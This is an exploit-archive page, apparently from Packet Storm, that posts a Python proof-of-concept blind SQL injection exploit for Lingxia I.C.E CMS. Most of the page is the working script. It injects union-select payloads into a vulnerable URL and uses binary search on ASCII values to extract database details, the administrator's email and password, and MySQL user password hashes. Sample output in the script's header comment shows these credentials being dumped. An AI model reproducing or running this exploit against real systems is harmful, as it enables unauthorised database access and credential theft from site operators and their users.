what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Lingxia I.C.E CMS Blind SQL Injection

Lingxia I.C.E CMS Blind SQL Injection
Posted Feb 15, 2011
Authored by mr_me

Lingxia I.C.E CMS remote blind SQL injection proof of concept exploit.

tags | exploit, remote, sql injection, proof of concept
SHA-256 | 849e822c4ad163e9f886e1f7a76b149fe0052436cccd30ddc705a2bc19428834

Lingxia I.C.E CMS Blind SQL Injection

Change Mirror Download
#!/usr/bin/python
# ICE CMS Blind SQLi 0day.
# [mr_me@pluto ice]$ python icecold.py -p localhost:8080 -t 10.3.100.25:8500 -d /ice/
#
# | ---------------------------------------------------- |
# | Lingxia I.C.E CMS Remote Blind SQL Injection Exploit |
# | by mr_me - net-ninja.net --------------------------- |
#
# (+) Exploiting target @: 10.3.100.25:8500/ice/
# (+) Testing Proxy @ localhost:8080..
# (+) Proxy is working!
# (+) Using string 'icon_media_remove.gif' for the true page
# (+) This will take time, go grab a coffee..
#
# (!) Getting database version: 5.5.9
# (!) Getting database user: root@localhost
# (!) Getting database name: ice
# (!) Getting ICE administrative account: admin@admin.com:pa$sw0rD
# (!) w00t! You have access to MySQL database!
# (+) Dumping hashs hold onto your knickers..
# (+) The username and hashed password is: root:*EE4E2773D7530819563F0DC6FCE27446A51C9413
# (+) PoC finished.
#
# Note to Lingexa:
# Next time, acknowledge a kind email.

import sys, urllib, re
from optparse import OptionParser

# all possible decimal values of printable ascii characters
# 8 requests per char, much much cleaner.
lower_value = 0
upper_value = 126
#global truStr
trueStr = "icon_media_remove.gif"

vuluri = "media.cfm?session.current_site_id=1&session.user_id=99"
basicInfo = {'version':'version()', 'user':'user()', 'name':'database()'}

usage = "./%prog [<options>] -t [target] -d [directory]"
usage += "\nExample: ./%prog -p localhost:8080 -t 192.168.2.15:8500 -d /amoeba/"

parser = OptionParser(usage=usage)
parser.add_option("-p", type="string",action="store", dest="proxy",
help="HTTP Proxy <server:port>")
parser.add_option("-t", type="string", action="store", dest="target",
help="The Target server <server:port>")
parser.add_option("-d", type="string", action="store", dest="directory",
help="Directory path to the CMS")

(options, args) = parser.parse_args()

def banner():
print "\n\t| ---------------------------------------------------- |"
print "\t| Lingxia I.C.E CMS Remote Blind SQL Injection Exploit |"
print "\t| by mr_me - net-ninja.net --------------------------- |\n"

if len(sys.argv) < 5:
banner()
parser.print_help()
sys.exit(1)

def setTargetHTTP():
if options.target[0:7] != 'https://':
options.target = "https://" + options.target
return options.target

def getProxy():
try:
proxy = {'http': "https://"+options.proxy}
opener = urllib.FancyURLopener(proxy)
except(socket.timeout):
print "\n(-) Proxy Timed Out"
sys.exit(1)
except(),msg:
print "\n(-) Proxy Failed"
sys.exit(1)
return opener

def getServerResponse(exploit):
if options.proxy:
try:
options.target = setTargetHTTP()
opener = getProxy()
check = opener.open(options.target+options.directory+exploit).read()
except urllib.error.HTTPError, error:
check = error.read()
except socket.error:
print "(-) Proxy connection failed"
sys.exit(1)
else:
try:
check = urllib.urlopen(options.target+options.directory+exploit).read()
except urllib.error.HTTPError, error:
check = error.read()
except urllib.error.URLError:
print "(-) Target connection failed, check your address"
sys.exit(1)
return check

# modified version of rsauron's function
# thanks bro.
def getAsciiValue(URI):
lower = lower_value
upper = upper_value
while lower < upper:
try:
mid = (lower + upper) / 2
head_URI = URI + ">"+str(mid)+"+--"
result = getServerResponse(head_URI)
match = re.findall(trueStr,result)
if len(match) >= 1:
lower = mid + 1
else:
upper = mid
except (KeyboardInterrupt, SystemExit):
raise
except:
pass

if lower > lower_value and lower < upper_value:
value = lower
else:
head_URI = URI + "="+str(lower)
result = getServerResponse(head_URI)
match = re.findall(trueStr,result)
if len(match) >= 1:
value = lower
else:
print "(-) READ xprog's blind sql tutorial!\n"
sys.exit(1)
return value

def doBlindSqlInjection():
print "(+) Using string '%s' for the true page" % (trueStr)
print "(+) This will take time, go grab a coffee.."
for key in basicInfo:
sys.stdout.write("\n(!) Getting database %s: " % (key))
sys.stdout.flush()

# it will never go through all 100 iterations
for i in range(1,100):
request = (vuluri+"+union+select+1,2,3,4,5,6+from+ice_user+where+ascii(substring(%s,%s,1))" % (basicInfo[key],str(i)))
asciival = getAsciiValue(request)
if asciival != 0:
sys.stdout.write("%s" % (chr(asciival)))
sys.stdout.flush()
else:
break

sys.stdout.write("\n(!) Getting ICE administrative account: ")
sys.stdout.flush()
for i in range(1,100):
getUserAndPass = (vuluri+"+union+select+1,2,3,4,5,6+from+ice_user+where+ascii(substring((SELECT+concat"
"(email,0x3a,pword)+from+ice.ice_user+limit+0,1),%s,1))" % str(i))

asciival = getAsciiValue(getUserAndPass)

if asciival != 0:
sys.stdout.write("%s" % (chr(asciival)))
sys.stdout.flush()
else:
pass

isMysqlUser = (vuluri+"+union+select+1,2,3,4,5,6+from+ice_user+where+(select 1 from mysql.user limit 0,1)=1")
result = getServerResponse(isMysqlUser)
match = re.findall(trueStr,result)
if len(match) >= 1:
print "\n(!) w00t! You have access to MySQL database!"
print "(+) Dumping hashs hold onto your knickers.."
sys.stdout.write("(+) The username and hashed password is: ")
sys.stdout.flush()
for k in range(1,100):
getMysqlUserAndPass = (vuluri+"+union+select+1,2,3,4,5,6+from+ice_user+where+ascii(substring((SELECT+concat"
"(user,0x3a,password)+from+mysql.user+limit+0,1),%s,1))" % str(k))
asciival = getAsciiValue(getMysqlUserAndPass)
if asciival != 0:
sys.stdout.write("%s" % (chr(asciival)))
sys.stdout.flush()
else:
break
else:
print "\n(-) You do not have access to MySQL database"

if __name__ == "__main__":
banner()
print "(+) Exploiting target @: %s" % (options.target+options.directory)
if options.proxy:
print "(+) Testing Proxy @ %s.." % (options.proxy)
opener = getProxy()
try:
check = opener.open("https://www.google.com").read()
except:
check = 0
pass
if check >= 1:
print "(+) Proxy is working!"

else:
print "(-) Proxy failed, exiting.."
sys.exit(1)

doBlindSqlInjection()
print "\n(+) PoC finished."


Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close